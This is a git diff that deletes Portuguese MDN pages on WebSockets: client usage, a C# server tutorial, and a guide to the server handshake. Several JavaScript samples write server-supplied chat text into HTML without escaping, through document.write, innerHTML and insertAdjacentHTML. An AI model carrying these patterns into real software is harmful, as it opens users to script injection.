-<p>Establishing a WebSocket relies on the <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">HTTP Upgrade mechanism</a>, so the request for the protocol upgrade is implicit when we address the web server as <code><span class="nowiki">ws://www.example.com</span></code> or <code><span class="nowiki">wss://www.example.com</span></code>.</p>
-
-<h2 id="Sending_data_to_the_server">Sending data to the server</h2>
-
-<p>Once you've opened your connection, you can begin transmitting data to the server. To do this, simply call the <code>WebSocket</code> object's {{domxref("WebSocket.send", "send()")}} method for each message you want to send:</p>
-
-<pre class="brush: js notranslate">exampleSocket.send("Here's some text that the server is urgently awaiting!");
-</pre>
-
-<p>You can send data as a string, {{ domxref("Blob") }}, or {{jsxref("ArrayBuffer")}}.</p>
-
-<p>As establishing a connection is asynchronous and prone to failure there is no guarantee that calling the <code>send()</code> method immediately after creating a WebSocket object will be successful. We can at least be sure that attempting to send data only takes place once a connection is established by defining an {{domxref("WebSocket.onopen", "onopen")}} event handler to do the work:</p>
-
-<pre class="brush: js notranslate">exampleSocket.onopen = function (event) {
- exampleSocket.send("Here's some text that the server is urgently awaiting!");
-};
-</pre>
-
-<h3 id="Using_JSON_to_transmit_objects">Using JSON to transmit objects</h3>
-
-<p>One handy thing you can do is use {{glossary("JSON")}} to send reasonably complex data to the server. For example, a chat program can interact with a server using a protocol implemented using packets of JSON-encapsulated data:</p>
-
-<pre class="brush: js notranslate">// Send text to all users through the server
-function sendText() {
- // Construct a msg object containing the data the server needs to process the message from the chat client.
- var msg = {
- type: "message",
- text: document.getElementById("text").value,
- id: clientID,
- date: Date.now()
- };
-
- // Send the msg object as a JSON-formatted string.
- exampleSocket.send(JSON.stringify(msg));
-
- // Blank the text input element, ready to receive the next line of text from the user.
- document.getElementById("text").value = "";
-}
-</pre>
-
-<h2 id="Receiving_messages_from_the_server">Receiving messages from the server</h2>
-
-<p>WebSockets is an event-driven API; when messages are received, a <code>message</code> event is sent to the <code>WebSocket</code> object. To handle it, add an event listener for the <code>message</code> event, or use the {{domxref("WebSocket.onmessage", "onmessage")}} event handler. To begin listening for incoming data, you can do something like this:</p>
-
-<pre class="brush: js notranslate">exampleSocket.onmessage = function (event) {
- console.log(event.data);
-}
-</pre>
-
-<h3 id="Receiving_and_interpreting_JSON_objects">Receiving and interpreting JSON objects</h3>
-
-<p>Let's consider the chat client application first alluded to in {{ anch("Using JSON to transmit objects") }}. There are assorted types of data packets the client might receive, such as:</p>
-
-<ul>
- <li>Login handshake</li>
- <li>Message text</li>
- <li>User list updates</li>
-</ul>
-
-<p>The code that interprets these incoming messages might look like this:</p>
-
-<pre class="brush: js notranslate">exampleSocket.onmessage = function(event) {
- var f = document.getElementById("chatbox").contentDocument;
- var text = "";
- var msg = JSON.parse(event.data);
- var time = new Date(msg.date);
- var timeStr = time.toLocaleTimeString();
-
- switch(msg.type) {
- case "id":
- clientID = msg.id;
- setUsername();
- break;
- case "username":
- text = "&lt;b&gt;User &lt;em&gt;" + msg.name + "&lt;/em&gt; signed in at " + timeStr + "&lt;/b&gt;&lt;br&gt;";
- break;
- case "message":
- text = "(" + timeStr + ") &lt;b&gt;" + msg.name + "&lt;/b&gt;: " + msg.text + "&lt;br&gt;";
- break;
- case "rejectusername":
- text = "&lt;b&gt;Your username has been set to &lt;em&gt;" + msg.name + "&lt;/em&gt; because the name you chose is in use.&lt;/b&gt;&lt;br&gt;"
- break;
- case "userlist":
- var ul = "";
- for (i=0; i &lt; msg.users.length; i++) {
- ul += msg.users[i] + "&lt;br&gt;";
- }
- document.getElementById("userlistbox").innerHTML = ul;
- break;
- }
-
- if (text.length) {
- f.write(text);
- document.getElementById("chatbox").contentWindow.scrollByPages(1);
- }
-};
-</pre>
-
-<p>Here we use {{jsxref("JSON.parse()")}} to convert the JSON object back into the original object, then examine and act upon its contents.</p>
-
-<h3 id="Text_data_format">Text data format</h3>
-
-<p>Text received over a WebSocket connection is in UTF-8 format.</p>
-
-<h2 id="Closing_the_connection">Closing the connection</h2>
-
-<p>When you've finished using the WebSocket connection, call the WebSocket method {{domxref("WebSocket.close", "close()")}}:</p>
-
-<pre class="brush: js notranslate">exampleSocket.close();
-</pre>
-
-<p>It may be helpful to examine the socket's {{domxref("WebSocket.bufferedAmount", "bufferedAmount")}} attribute before attempting to close the connection to determine if any data has yet to be transmitted on the network. If this value isn't 0, there's pending data still, so you may wish to wait before closing the connection.</p>
-
-<h2 id="Security_considerations">Security considerations</h2>
-
-<p>WebSockets should not be used in a mixed content environment; that is, you shouldn't open a non-secure WebSocket connection from a page loaded using HTTPS or vice-versa. Most browsers now only allow secure WebSocket connections, and no longer support using them in insecure contexts.</p>
diff --git a/files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html b/files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html
deleted file mode 100644
index a842c9d7d1..0000000000
--- a/files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html
+++ /dev/null
@@ -1,442 +0,0 @@
----
-title: Escrever um servidor WebSocket em C#
-slug: Web/API/WebSockets_API/Writing_WebSocket_server
-tags:
- - HTML5
- - Tutorial
- - WebSockets
-translation_of: Web/API/WebSockets_API/Writing_WebSocket_server
-original_slug: Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_C
----
-<h2 id="Introdução">Introdução</h2>
-
-<p>Se desejar utilizar o WebSocket API, é útil dispor de um servidor. Neste artigo pode ver como escrever um em C#. Pode fazê-lo em qualquer língua do lado do servidor, mas para manter as coisas simples e mais compreensíveis, vamos usar a linguagem da Microsoft.</p>
-
-<p>Este servidor está em conformidade com o <a href="http://tools.ietf.org/html/rfc6455">RFC 6455</a>, pelo que só tratará de ligações a partir das versões de navegadores; Chrome 16, Firefox 11, e IE 10 ou superior.</p>
-
-<h2 id="Primeiros_passos">Primeiros passos</h2>
-
-<p>Os WebSockets comunicam através de uma ligação interwiki("wikipedia","Transmission_Control_Protocol","TCP (Transmission Control Protocol)"). Felizmente, C# tem uma classe TcpListener que serve para escutar ligações de TCP. Encontra-se no espaço de nomes <code>System.Net.Sockets</code>.</p>
-
-<div class="note">
-<p><span style="line-height: 1.572;"><strong>Nota:</strong> É aconselhável incluir o namespace com <code>using</code> a fim de escrever menos. Permite a utilização das classes de um namespace sem escrever sempre o namespace completo.</span></p>
-</div>
-
-<h3 id="TcpListener">TcpListener</h3>
-
-<h4 id="Construtor">Construtor</h4>
-
-<dl>
- <dt><code>TcpListener(System.Net.IPAddress localaddr, int port)</code></dt>
- <dd><code>localaddr</code> indica o endereço IP do ouvinte e <code>port</code> indica a porta.</dd>
-</dl>
-
-<div class="note">
-<p><span style="line-height: 1.572;"><strong>Nota:</strong> Para criar um objeto <code>IPAddress</code> a partir de uma <code>string</code>, use o método <em>static</em> </span><code>Parse</code><span style="line-height: 1.572;"> de </span><code>IPAddress</code><em>.</em></p>
-</div>
-
-<h4 id="Métodos"><span style="line-height: 1.572;">Métodos</span></h4>
-
-<dl>
- <dt><code><span style="line-height: 1.572;">Start()</span></code></dt>
- <dd>Começa a escutar os pedidos de ligação recebidos.</dd>
-</dl>
-
-<dl>
- <dt><code><span style="line-height: 1.572;">AcceptTcpClient()</span></code></dt>
- <dd>Espera por uma ligação TCP, aceita-a e devolve-a como um objeto <a href="https://docs.microsoft.com/pt-pt/dotnet/api/system.net.sockets.tcpclient">TcpClient</a>.</dd>
-</dl>
-
-<h4 class="syntaxbox" id="Exemplo">Exemplo</h4>
-
-<p><span style="line-height: 1.572;">Aqui tem uma implementação básica do servidor:</span></p>
-
-<pre class="brush: cpp notranslate">​using System.Net.Sockets;
-using System.Net;
-using System;
-
-class Server {
- public static void Main() {
- TcpListener server = new TcpListener(IPAddress.Parse("127.0.0.1"), 80);
-
- server.Start();
- Console.WriteLine("O servidor começou com endreço 127.0.0.1:80.{0}Esperando por uma conexão...", Environment.NewLine);
-
- TcpClient client = server.AcceptTcpClient();
-
- Console.WriteLine("Um cliente está conectado.");
- }
-}
-</pre>
-
-<h3 id="TcpClient"><span style="line-height: 1.572;">TcpClient</span></h3>
-
-<h4 id="Métodos_2">Métodos</h4>
-
-<dl>
- <dt><code>GetStream()</code></dt>
- <dd>Obtém o <em>stream</em> que é o canal de comunicação. Ambos os lados do canal têm capacidade de leitura e escrita.</dd>
-</dl>
-
-<h4 id="Propriedades">Propriedades</h4>
-
-<dl>
- <dt><code>int Available</code></dt>
- <dd>Esta propriedade indica quantos bytes de dados foram enviados. O valor é zero até que a propriedade <code>NetworkStream.DataAvailable</code> seja <code>true</code>.</dd>
-</dl>
-
-<h3 id="NetworkStream">NetworkStream</h3>
-
-<h4 id="Métodos_3">Métodos</h4>
-
-<dl>
- <dt><code>Write(Byte[] buffer, int offset, int size)</code></dt>
- <dd>Escreve bytes vindos do <code>buffer</code>. <code>offset</code> e <code>size</code> determinam o comprimento da mensagem.</dd>
- <dt><code><span class="brush: cpp" style="line-height: 1.572;">Read(Byte[] buffer, int offset, int size)</span></code></dt>
- <dd><span class="brush: cpp" style="line-height: 1.572;">Lê bytes do <code>buffer</code>. <code>offset</code> e <code>size</code> </span>determinam o comprimento da mensagem<span class="brush: cpp" style="line-height: 1.572;">.</span></dd>
-</dl>
-
-<h4 id="Exemplo_2">Exemplo</h4>
-
-<p>Vamos continuar o nosso exemplo:</p>
-
-<pre class="brush: cpp notranslate">TcpClient client = server.AcceptTcpClient();
-
-Console.WriteLine("Um cliente está conectado.");
-
-NetworkStream stream = client.GetStream();
-
-// entrar num ciclo infinito para poder processar qualquer mudança no stream
-while (true) {
- while (!stream.DataAvailable);
-
- Byte[] bytes = new Byte[client.Available];
-
- stream.Read(bytes, 0, bytes.Length);
-}</pre>
-
-<h2 id="Handshaking_aperto_de_mão"><em>Handshaking </em>(aperto de mão)</h2>
-
-<p>Quando um cliente se liga a um servidor, envia um pedido GET para atualizar a ligação do protocolo HTTP a uma ligação WebSocket. Isto é conhecido como aperto de mão.</p>
-
-<p>Este código de amostra pode detetar um GET do cliente. Note que isto irá bloquear até que os primeiros 3 bytes de uma mensagem estejam disponíveis. Deverão ser investigadas soluções alternativas para ambientes de produção.</p>
-
-<pre class="brush: cpp notranslate">using System.Text;
-using System.Text.RegularExpressions;
-
-while(client.Available &lt; 3)
-{
- // esperar para que hajam bytes suficientes disponiveis
-}
-
-Byte[] bytes = new Byte[client.Available];
-
-stream.Read(bytes, 0, bytes.Length);
-
-//traduzir bytes do pedido para uma string
-String data = Encoding.UTF8.GetString(bytes);
-
-if (Regex.IsMatch(data, "^GET")) {
-
-} else {
-
-}</pre>
-
-<p>A resposta é fácil de construir, mas pode ser um pouco difícil de compreender. A explicação completa do aperto de mão do servidor pode ser encontrada em <a href="https://tools.ietf.org/html/rfc6455#section-4.2.2">RFC 6455, secção 4.2.2</a>. Para os nossos propósitos, vamos apenas construir uma resposta simples.</p>
-
-<p>Deve:</p>
-
-<ol>
- <li>Obter o valor do cabeçalho de pedido da <code>Sec-WebSocket-Key</code> sem qualquer espaço em branco</li>
- <li>Combine esse valor com "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" (um GUID especificado pela RFC 6455)</li>
- <li>Calcule o código SHA-1 e Base64 do mesmo</li>
- <li>Devolve-o como o valor do cabeçalho de resposta Sec-WebSocket-Accept numa resposta HTTP.</li>
-</ol>
-
-<pre class="brush: cpp notranslate"><em>
-</em>if (new System.Text.RegularExpressions.Regex("^GET").IsMatch(data))
-{
-    const string eol = "\r\n"; // HTTP/1.1 define a sequencia "CR LF" como o marcador de fim de linha
-
-    Byte[] response = Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" + eol
-        + "Connection: Upgrade" + eol
-        + "Upgrade: websocket" + eol
-        + "Sec-WebSocket-Accept: " + Convert.ToBase64String(
-            System.Security.Cryptography.SHA1.Create().ComputeHash(
-                Encoding.UTF8.GetBytes(
-                    new System.Text.RegularExpressions.Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups[1].Value.Trim() + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
-                )
-            )
-        ) + eol
-        + eol);
-
-    stream.Write(response, 0, response.Length);
-}
-</pre>
-
-<h2 id="Descodificar_mensagens">Descodificar mensagens</h2>
-
-<p>Após um aperto de mão bem-sucedido, o cliente pode enviar mensagens para o servidor, mas agora estas estão codificadas.</p>
-
-<p>Se enviarmos "MDN", recebemos estes bytes:</p>
-
-<table>
- <tbody>
- <tr>
- <td>129</td>
- <td>131</td>
- <td>61</td>
- <td>84</td>
- <td>35</td>
- <td>6</td>
- <td>112</td>
- <td>16</td>
- <td>109</td>
- </tr>
- </tbody>
-</table>
-
-<p>Vejamos o que significam estes bytes.</p>
-
-<p>O primeiro byte, que tem actualmente um valor de 129, é um bitfield que se decompõe da seguinte forma:</p>
-
-<table>
- <thead>
- <tr>
- <th scope="col">FIN (Bit 0)</th>
- <th scope="col">RSV1 (Bit 1)</th>
- <th scope="col">RSV2 (Bit 2)</th>
- <th scope="col">RSV3 (Bit 3)</th>
- <th scope="col">Opcode (Bit 4:7)</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>1</td>
- <td>0</td>
- <td>0</td>
- <td>0</td>
- <td>0x1=0001</td>
- </tr>
- </tbody>
-</table>
-
-<ul>
- <li>FIN bit: Este bit indica se a mensagem completa foi enviada pelo cliente. As mensagens podem ser enviadas em <em>frames</em>, mas por agora vamos manter as coisas simples.</li>
- <li>RSV1, RSV2, RSV3: Estes bits devem ser 0, a menos que seja negociada uma extensão que lhes forneça um valor não nulo.</li>
- <li><span style="line-height: 1.572;"><em>Opcode</em>: Estes bits descrevem o tipo de mensagem recebida. O código <em>Opcode </em>0x1 significa que se trata de uma mensagem de texto (ver <a href="http://tools.ietf.org/html/rfc6455#section-5.2">lista completa de <em>Opcodes</em></a>).</span></li>
-</ul>
-
-<p>O segundo byte, que tem atualmente um valor de 131, é outro campo de bits que se decompõe assim:</p>
-
-<table>
- <thead>
- <tr>
- <th scope="col">MASK (Bit 0)</th>
- <th scope="col">Comprimento do conteúdo da mensagem (Bit 1:7)</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>1</td>
- <td>0x83=0000011</td>
- </tr>
- </tbody>
-</table>
-
-<ul>
- <li>MASK bit: Define se os "dados de <em>payload</em>" são mascarados.  Se definida como 1, uma chave de máscara está presente em Masking-Key, e é utilizada para desmascarar os "dados de <em>payload</em>". Todas as mensagens do cliente para o servidor têm este bit definido.</li>
- <li>Comprimento do <em>payload</em>: Se este valor estiver entre 0 e 125, então é o comprimento da mensagem. Se for 126, os 2 bytes seguintes (inteiro de 16 bits sem assinatura) são o comprimento. Se for 127, os 8 bytes seguintes (inteiro de 64 bits sem assinatura) são o comprimento.</li>
-</ul>
-
-<div class="note">
-<p>Porque o primeiro bit é sempre 1 para mensagens cliente-servidor, pode subtrair 128 deste byte para se livrar do bit MASK.</p>
-</div>
-
-<p>Note que o bit MASK está definido na nossa mensagem. Isto significa que os quatro bytes seguintes (61, 84, 35, e 6) são os bytes de máscara utilizados para descodificar a mensagem. Estes bytes mudam com cada mensagem.</p>
-
-<p>Os restantes bytes são a <em>payload</em> da mensagem codificada.</p>
-
-<h3 id="Algoritmo_para_descodificar">Algoritmo para descodificar</h3>
-
-<p><em>D<sub>i</sub></em> = <em>E<sub>i</sub></em> XOR <em>M</em><sub>(<em>i</em> mod 4)</sub></p>
-
-<p>onde <em>D</em> é a série de bytes da mensagem descodificados, <em>E</em> é a série de bytes da mensagem codificados, <em>M</em> é a série de bytes da chave, e <em>i</em> é o índice do byte da mensagem a ser descodificado.</p>
-
-<p>Exemplo em C#:</p>
-
-<pre class="brush: cpp notranslate">Byte[] decoded = new Byte[3];
-Byte[] encoded = new Byte[3] {112, 16, 109};
-Byte[] mask = new Byte[4] {61, 84, 35, 6};
-
-for (int i = 0; i &lt; encoded.Length; i++) {
- decoded[i] = (Byte)(encoded[i] ^ mask[i % 4]);
-}</pre>
-
-<h2 id="Exemplo_completo">Exemplo completo</h2>
-
-<p>Aqui tem o código, que foi explorado, na sua totalidade; isto inclui o código do cliente e do servidor.</p>
-
-<h3 id="wsserver.cs">wsserver.cs</h3>
-
-<pre class="notranslate">//
-// csc wsserver.cs
-// wsserver.exe
-
-using System;
-using System.Net;
-using System.Net.Sockets;
-using System.Text;
-using System.Text.RegularExpressions;
-
-class Server {
- public static void Main() {
- string ip = "127.0.0.1";
- int port = 80;
- var server = new TcpListener(IPAddress.Parse(ip), port);
-
- server.Start();
- Console.WriteLine("Server has started on {0}:{1}, Waiting for a connection...", ip, port);
-
- TcpClient client = server.AcceptTcpClient();
- Console.WriteLine("A client connected.");
-
- NetworkStream stream = client.GetStream();
-
- // enter to an infinite cycle to be able to handle every change in stream
- while (true) {
- while (!stream.DataAvailable);
- while (client.Available &lt; 3); // match against "get"
-
- byte[] bytes = new byte[client.Available];
- stream.Read(bytes, 0, client.Available);
- string s = Encoding.UTF8.GetString(bytes);
-
- if (Regex.IsMatch(s, "^GET", RegexOptions.IgnoreCase)) {
- Console.WriteLine("=====Handshaking from client=====\n{0}", s);
-
- // 1. Obtain the value of the "Sec-WebSocket-Key" request header without any leading or trailing whitespace
- // 2. Concatenate it with "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" (a special GUID specified by RFC 6455)
- // 3. Compute SHA-1 and Base64 hash of the new value
- // 4. Write the hash back as the value of "Sec-WebSocket-Accept" response header in an HTTP response
- string swk = Regex.Match(s, "Sec-WebSocket-Key: (.*)").Groups[1].Value.Trim();
- string swka = swk + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
- byte[] swkaSha1 = System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(swka));
- string swkaSha1Base64 = Convert.ToBase64String(swkaSha1);
-
- // HTTP/1.1 defines the sequence CR LF as the end-of-line marker
- byte[] response = Encoding.UTF8.GetBytes(
- "HTTP/1.1 101 Switching Protocols\r\n" +
- "Connection: Upgrade\r\n" +
- "Upgrade: websocket\r\n" +
- "Sec-WebSocket-Accept: " + swkaSha1Base64 + "\r\n\r\n");
-
- stream.Write(response, 0, response.Length);
- } else {
- bool fin = (bytes[0] &amp; 0b10000000) != 0,
- mask = (bytes[1] &amp; 0b10000000) != 0; // must be true, "All messages from the client to the server have this bit set"
-
- int opcode = bytes[0] &amp; 0b00001111, // expecting 1 - text message
- msglen = bytes[1] - 128, // &amp; 0111 1111
- offset = 2;
-
- if (msglen == 126) {
- // was ToUInt16(bytes, offset) but the result is incorrect
- msglen = BitConverter.ToUInt16(new byte[] { bytes[3], bytes[2] }, 0);
- offset = 4;
- } else if (msglen == 127) {
- Console.WriteLine("TODO: msglen == 127, needs qword to store msglen");
- // i don't really know the byte order, please edit this
- // msglen = BitConverter.ToUInt64(new byte[] { bytes[5], bytes[4], bytes[3], bytes[2], bytes[9], bytes[8], bytes[7], bytes[6] }, 0);
- // offset = 10;
- }
-
- if (msglen == 0)
- Console.WriteLine("msglen == 0");
- else if (mask) {
- byte[] decoded = new byte[msglen];
- byte[] masks = new byte[4] { bytes[offset], bytes[offset + 1], bytes[offset + 2], bytes[offset + 3] };
- offset += 4;
-
- for (int i = 0; i &lt; msglen; ++i)
- decoded[i] = (byte)(bytes[offset + i] ^ masks[i % 4]);
-
- string text = Encoding.UTF8.GetString(decoded);
- Console.WriteLine("{0}", text);
- } else
- Console.WriteLine("mask bit not set");
-
- Console.WriteLine();
- }
- }
- }
-}</pre>
-
-<h3 id="client.html">client.html</h3>
-
-<pre class="brush: html notranslate">&lt;!doctype html&gt;
-&lt;style&gt;
- textarea { vertical-align: bottom; }
- #output { overflow: auto; }
- #output &gt; p { overflow-wrap: break-word; }
- #output span { color: blue; }
- #output span.error { color: red; }
-&lt;/style&gt;
-&lt;h2&gt;WebSocket Test&lt;/h2&gt;
-&lt;textarea cols=60 rows=6&gt;&lt;/textarea&gt;
-&lt;button&gt;send&lt;/button&gt;
-&lt;div id=output&gt;&lt;/div&gt;
-&lt;script&gt;
- // http://www.websocket.org/echo.html
-
- var button = document.querySelector("button"),
- output = document.querySelector("#output"),
- textarea = document.querySelector("textarea"),
- // wsUri = "ws://echo.websocket.org/",
- wsUri = "ws://127.0.0.1/",
- websocket = new WebSocket(wsUri);
-
- button.addEventListener("click", onClickButton);
-
- websocket.onopen = function (e) {
- writeToScreen("CONNECTED");
- doSend("WebSocket rocks");
- };
-
- websocket.onclose = function (e) {
- writeToScreen("DISCONNECTED");
- };
-
- websocket.onmessage = function (e) {
- writeToScreen("&lt;span&gt;RESPONSE: " + e.data + "&lt;/span&gt;");
- };
-
- websocket.onerror = function (e) {
- writeToScreen("&lt;span class=error&gt;ERROR:&lt;/span&gt; " + e.data);
- };
-
- function doSend(message) {
- writeToScreen("SENT: " + message);
- websocket.send(message);
- }
-
- function writeToScreen(message) {
- output.insertAdjacentHTML("afterbegin", "&lt;p&gt;" + message + "&lt;/p&gt;");
- }
-
- function onClickButton() {
- var text = textarea.value;
-
- text &amp;&amp; doSend(text);
- textarea.value = "";
- textarea.focus();
- }
-&lt;/script&gt;</pre>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/WebSockets_API/Escrever_servidores_de_WebSocket">Escrever servidores de WebSocket</a></li>
-</ul>
-
-<div id="cke_pastebin"><em> </em></div>
diff --git a/files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html b/files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html
deleted file mode 100644
index 173a3066fe..0000000000
--- a/files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html
+++ /dev/null
@@ -1,258 +0,0 @@
----
-title: Escrever servidores de WebSocket
-slug: Web/API/WebSockets_API/Writing_WebSocket_servers
-tags:
- - Guía
- - HTML5
- - Tutorial
- - WebSocket
- - WebSocket API
- - WebSockets
-translation_of: Web/API/WebSockets_API/Writing_WebSocket_servers
-original_slug: Web/API/WebSockets_API/Escrever_servidores_de_WebSocket
----
-<div>{{APIRef("Websockets API")}}</div>
-
-<p>Um servidor WebSocket não é nada mais que uma aplicação que escuta qualquer porta de um servidor TCP que possui um protocolo específico. A tarefa de criar um servidor personalizado é uma tarefa complexa para a maioria; no entanto, é simples implementar um servidor simples de WebSocket numa plataforma á sua escolha.</p>
-
-<p>Um servidor WebSocket pode ser escrito em qualquer linguagem de servidor que suporte <a href="https://en.wikipedia.org/wiki/Berkeley_sockets">Berkeley sockets</a>, como C(++), Python, PHP, ou <a href="/en-US/docs/Web/JavaScript/Server-Side_JavaScript">server-side JavaScript</a>. Este tutorial não se foca em nenhuma linguagem em específico, mas serve como guia para facilitar o desenvolver do seu próprio server.</p>
-
-<p>A WebSocket server can be written in any server-side programming language that is capable of <a href="https://en.wikipedia.org/wiki/Berkeley_sockets">Berkeley sockets</a>, such as C(++), Python, <a href="/en-US/docs/PHP">PHP</a>, or <a href="/en-US/docs/Web/JavaScript/Server-Side_JavaScript">server-side JavaScript</a>. This is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server.</p>
-
-<p>This article assumes you're already familiar with how {{Glossary("HTTP")}} works, and that you have a moderate level of programming experience. Depending on language support, knowledge of TCP sockets may be required. The scope of this guide is to present the minimum knowledge you need to write a WebSocket server.</p>
-
-<div class="note">
-<p><strong>Note:</strong> Read the latest official WebSockets specification, <a href="http://datatracker.ietf.org/doc/rfc6455/?include_text=1">RFC 6455</a>. Sections 1 and 4-7 are especially interesting to server implementors. Section 10 discusses security and you should definitely peruse it before exposing your server.</p>
-</div>
-
-<p>A WebSocket server is explained on a very low level here. WebSocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a <a href="https://en.wikipedia.org/wiki/Reverse_proxy">reverse proxy</a> (such as a regular HTTP server) to detect WebSocket handshakes, pre-process them, and send those clients to a real WebSocket server. This means that you don't have to bloat your server code with cookie and authentication handlers (for example).</p>
-
-<h2 id="The_WebSocket_handshake">The WebSocket handshake</h2>
-
-<p>First, the server must listen for incoming socket connections using a standard TCP socket. Depending on your platform, this may be handled for you automatically. For example, let's assume that your server is listening on <code>example.com</code>, port 8000, and your socket server responds to {{HTTPMethod("GET")}} requests at <code>example.com/chat</code>.</p>
-
-<div class="warning">
-<p><strong>Warning:</strong> The server may listen on any port it chooses, but if it chooses any port other than 80 or 443, it may have problems with firewalls and/or proxies. Browsers generally require a secure connection for WebSockets, although they may offer an exception for local devices.</p>
-</div>
-
-<p>The handshake is the "Web" in WebSockets. It's the bridge from HTTP to WebSockets. In the handshake, details of the connection are negotiated, and either party can back out before completion if the terms are unfavorable. The server must be careful to understand everything the client asks for, otherwise security issues can occur.</p>
-
-<div class="blockIndicator note">
-<p><strong>Tip:</strong> The request-uri (<code>/chat</code> here) has no defined meaning in the spec. So, many people  use it to let one server handle multiple WebSocket applications. For example, <code>example.com/chat</code> could invoke a multiuser chat app, while <code>/game</code> on the same server might invoke a multiplayer game.</p>
-</div>
-
-<h3 id="Client_handshake_request">Client handshake request</h3>
-
-<p>Even though you're building a server, a client still has to start the WebSocket handshake process by contacting the server and requesting a WebSocket connection. So, you must know how to interpret the client's request. The <strong>client</strong> will send a pretty standard HTTP request with headers that looks like this (the HTTP version <strong>must</strong> be 1.1 or greater, and the method <strong>must</strong> be <code>GET</code>):</p>
-
-<pre class="notranslate">GET /chat HTTP/1.1
-Host: example.com:8000
-<strong>Upgrade: websocket</strong>
-<strong>Connection: Upgrade</strong>
-Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
-Sec-WebSocket-Version: 13
-
-</pre>
-
-<p>The client can solicit extensions and/or subprotocols here; see <a href="#Miscellaneous">Miscellaneous</a> for details. Also, common headers like {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Referer")}}, {{HTTPHeader("Cookie")}}, or authentication headers might be there as well. Do whatever you want with those; they don't directly pertain to the WebSocket. It's also safe to ignore them. In many common setups, a reverse proxy has already dealt with them.</p>
-
-<div class="blockIndicator note">
-<p><strong>Tip:</strong> All <strong>browsers</strong> send an <a href="https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Origin"><code>Origin</code> header</a>. You can use this header for security (checking for same origin, automatically allowing or denying, etc.) and send a <a href="https://developer.mozilla.org/en-US/docs/HTTP/Response_codes#403">403 Forbidden</a> if you don't like what you see. However, be warned that non-browser agents can send a faked <code>Origin</code>. Most applications reject requests without this header.</p>
-</div>
-
-<p>If any header is not understood or has an incorrect value, the server should send a {{HTTPStatus("400")}} ("Bad Request")} response and immediately close the socket. As usual, it may also give the reason why the handshake failed in the HTTP response body, but the message may never be displayed (browsers do not display it). If the server doesn't understand that version of WebSockets, it should send a {{HTTPHeader("Sec-WebSocket-Version")}} header back that contains the version(s) it does understand.  In the example above, it indicates version 13 of the WebSocket protocol.</p>
-
-<p>The most interesting header here is {{HTTPHeader("Sec-WebSocket-Key")}}. Let's look at that next.</p>
-
-<div class="note">
-<p><strong>Note:</strong> <a href="https://developer.mozilla.org/en-US/docs/HTTP/Response_codes">Regular HTTP status codes</a> can be used only before the handshake. After the handshake succeeds, you have to use a different set of codes (defined in section 7.4 of the spec).</p>
-</div>
-
-<h3 id="Server_handshake_response">Server handshake response</h3>
-
-<p>When the <strong>server</strong> receives the handshake request, it should send back a special response that indicates that the protocol will be changing from HTTP to WebSocket. That header looks something like the following (remember each header line ends with <code>\r\n</code> and put an extra <code>\r\n</code> after the last one to indicate the end of the header):</p>
-
-<pre class="notranslate"><strong>HTTP/1.1 101 Switching Protocols</strong>
-Upgrade: websocket
-Connection: Upgrade
-<strong>Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
-
-</strong></pre>
-
-<p>Additionally, the server can decide on extension/subprotocol requests here; see <a href="#Miscellaneous">Miscellaneous</a> for details. The <code>Sec-WebSocket-Accept</code> header is important in that the server must derive it from the {{HTTPHeader("Sec-WebSocket-Key")}} that the client sent to it. To get it, c<span style="line-height: 1.5em;">oncatenate the client's </span><code style="font-size: 14px;">Sec-WebSocket-Key</code><span style="line-height: 1.5em;"> and the string "</span><code style="font-size: 14px;">258EAFA5-E914-47DA-95CA-C5AB0DC85B11</code><span style="line-height: 1.5em;">" together (it's a "</span><a href="https://en.wikipedia.org/wiki/Magic_string" style="line-height: 1.5em;">magic string</a><span style="line-height: 1.5em;">"), </span><span style="line-height: 1.5em;">take the </span><a href="https://en.wikipedia.org/wiki/SHA-1" style="line-height: 1.5em;">SHA-1 hash</a><span style="line-height: 1.5em;"> of the result, and </span><span style="line-height: 1.5em;">return the </span><a href="https://en.wikipedia.org/wiki/Base64" style="line-height: 1.5em;">base64</a><span style="line-height: 1.5em;"> encoding of that hash.</span></p>
-
-<div class="note">
-<p><strong>Note:</strong> This seemingly overcomplicated process exists so that it's obvious to the client whether the server supports WebSockets. This is important because security issues might arise if the server accepts a WebSockets connection but interprets the data as a HTTP request.</p>
-</div>
-
-<p>So if the Key was "<code>dGhlIHNhbXBsZSBub25jZQ==</code>", the <code>Sec-WebSocket-Accept</code> header's value is "<code>s3pPLMBiTxaQ9kYGzzhZRbK+xOo=</code>". Once the server sends these headers, the handshake is complete and you can start swapping data!</p>
-
-<div class="note">
-<p><strong>Note:</strong> The server can send other headers like {{HTTPHeader("Set-Cookie")}}, or ask for authentication or redirects via other status codes, before sending the reply handshake.</p>
-</div>
-
-<h3 id="Keeping_track_of_clients">Keeping track of clients</h3>
-
-<p>This doesn't directly relate to the WebSocket protocol, but it's worth mentioning here: your server must keep track of clients' sockets so you don't keep handshaking again with clients who have already completed the handshake. The same client IP address can try to connect multiple times. However, the server can deny them if they attempt too many connections in order to save itself from <a href="https://en.wikipedia.org/wiki/Denial_of_service">Denial-of-Service attacks</a>.</p>
-
